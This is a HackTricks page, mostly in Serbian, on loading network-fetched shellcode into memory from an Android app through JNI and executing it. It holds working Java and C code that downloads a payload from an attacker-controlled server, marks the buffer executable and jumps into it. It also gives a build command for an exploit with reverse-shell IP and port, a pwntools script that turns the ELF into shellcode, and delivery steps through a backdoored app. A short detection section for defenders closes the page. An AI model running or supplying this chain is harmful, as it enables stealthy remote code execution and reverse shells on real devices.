Android In-Memory Native Code Execution via JNI (shellcode)

Reading time: 5 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Ova stranica dokumentuje praktičan obrazac za izvršavanje native payload-ova potpuno u memoriji iz nepouzdanog Android app procesa koristeći JNI. Tok izbegava kreiranje bilo kog native binarnog fajla na disku: preuzmite raw shellcode bajtove preko HTTP(S), prosledite ih JNI bridge-u, alocirajte RX memoriju i skočite u nju.

Why it matters

  • Smanjuje forenzičke artefakte (nema ELF na disku)
  • Kompatibilno sa “stage-2” native payloads generisanim iz ELF exploit binary
  • U skladu je sa tradecraft-om koji koriste moderni malware i red teams

High-level pattern

  1. Fetch shellcode bytes in Java/Kotlin
  2. Call a native method (JNI) with the byte array
  3. In JNI: allocate RW memory → copy bytes → mprotect to RX → call entrypoint

Minimal example

Java/Kotlin side

java
public final class NativeExec {
static { System.loadLibrary("nativeexec"); }
public static native int run(byte[] sc);
}

// Download and execute (simplified)
byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes();
int rc = NativeExec.run(sc);

C JNI strana (arm64/amd64)

c
#include <jni.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>

static inline void flush_icache(void *p, size_t len) {
__builtin___clear_cache((char*)p, (char*)p + len);
}

JNIEXPORT jint JNICALL
Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) {
jsize len = (*env)->GetArrayLength(env, sc);
if (len <= 0) return -1;

// RW anonymous buffer
void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (buf == MAP_FAILED) return -2;

jboolean isCopy = 0;
jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy);
if (!bytes) { munmap(buf, len); return -3; }

memcpy(buf, bytes, len);
(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT);

// Make RX and execute
if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; }
flush_icache(buf, len);

int (*entry)(void) = (int (*)(void))buf;
int ret = entry();

// Optional: restore RW and wipe
mprotect(buf, len, PROT_READ | PROT_WRITE);
memset(buf, 0, len);
munmap(buf, len);
return ret;
}

Beleške i upozorenja

  • W^X/execmem: Moderni Android nameće W^X; anonimna PROT_EXEC mapiranja su i dalje generalno dozvoljena za app procese sa JIT (podložno SELinux politici). Neki uređaji/ROM-ovi to ograničavaju; koristite rezervno JIT-allocated exec pools ili native bridges po potrebi.
  • Architectures: Uverite se da arhitektura shellcode-a odgovara uređaju (obično arm64-v8a; x86 samo na emulatorima).
  • Entrypoint contract: Odredite konvenciju za entrypoint vašeg shellcode-a (bez argumenata naspram pokazivača na strukturu). Neka bude pozicijski nezavistan (PIC).
  • Stabilnost: Očistite keš instrukcija pre skoka; neusaglašen keš može izazvati pad na ARM.

Packaging ELF → pozicijski‑nezavisan shellcode Robusna pipeline za operatora treba da:

  • Izgradite svoj exploit kao statički ELF koristeći musl-gcc
  • Konvertujte ELF u self‑loading shellcode blob koristeći pwntools’ shellcraft.loader_append

Izgradnja

bash
musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""

Pretvori ELF u raw shellcode (primer za amd64)

python
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
loader = shellcraft.loader_append(elf.data, arch='amd64')
sc = asm(loader)
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}")

Zašto loader_append radi: emituje mali loader koji mapira ugrađene ELF program segmente u memoriji i prebacuje kontrolu na njegov entrypoint, dajući vam jedan sirovi blob koji se može memcpy’ed i izvršiti od strane aplikacije.

Dostava

  • Host sc on an HTTP(S) server you control
  • The backdoored/test app downloads sc and invokes the JNI bridge shown above
  • Listen on your operator box for any reverse connection the kernel/user-mode payload establishes

Validacioni workflow za kernel payloads

  • Use a symbolized vmlinux for fast reversing/offset recovery
  • Prototype primitives on a convenient debug image if available, but always re‑validate on the actual Android target (kallsyms, KASLR slide, page-table layout, and mitigations differ)

Hardening/Detection (blue team)

  • Disallow anonymous PROT_EXEC in app domains where possible (SELinux policy)
  • Enforce strict code integrity (no dynamic native loading from network) and validate update channels
  • Monitor suspicious mmap/mprotect transitions to RX and large byte-array copies preceding jumps

References

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks